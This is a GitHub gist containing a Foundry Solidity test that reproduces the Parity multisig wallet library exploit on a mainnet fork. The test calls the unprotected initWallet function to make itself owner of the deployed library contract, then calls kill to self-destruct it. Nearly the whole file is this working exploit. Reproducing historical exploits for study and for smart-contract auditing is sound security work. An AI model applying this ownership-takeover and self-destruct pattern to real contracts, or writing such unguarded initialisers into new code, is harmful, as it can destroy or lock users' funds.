Created
January 6, 2023 17:59
-
-
Save az0mb13/2758b3800b4340dbce29d40de4e51bb0 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: UNLICENSED | |
pragma solidity 0.8.10; | |
import "forge-std/Test.sol"; | |
import "./interface.sol"; | |
interface parity { | |
function isOwner(address _addr) external view returns (bool); | |
function kill(address _to) external; | |
function initWallet( | |
address[] memory _owners, | |
uint256 _required, | |
uint256 _daylimit | |
) external; | |
} | |
contract ContractTest is DSTest { | |
parity WalletLibrary = | |
parity(payable(0x863DF6BFa4469f3ead0bE8f9F2AAE51c91A907b4)); | |
address[] public owner; | |
CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D); | |
function setUp() public { | |
cheats.createSelectFork("mainnet", 4501735); //fork mainnet at block 4501735 | |
} | |
function testExploit() public { | |
WalletLibrary.isOwner(address(this)); // not a owner of contract | |
owner.push(address(this)); | |
WalletLibrary.initWallet(owner, 0, 0); | |
bool isowner = WalletLibrary.isOwner(address(this)); // you are owner of contract now | |
assertTrue(isowner); | |
WalletLibrary.kill(address(this)); | |
WalletLibrary.isOwner(address(this)); // contract destroyed, return 0 | |
} | |
receive() external payable {} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment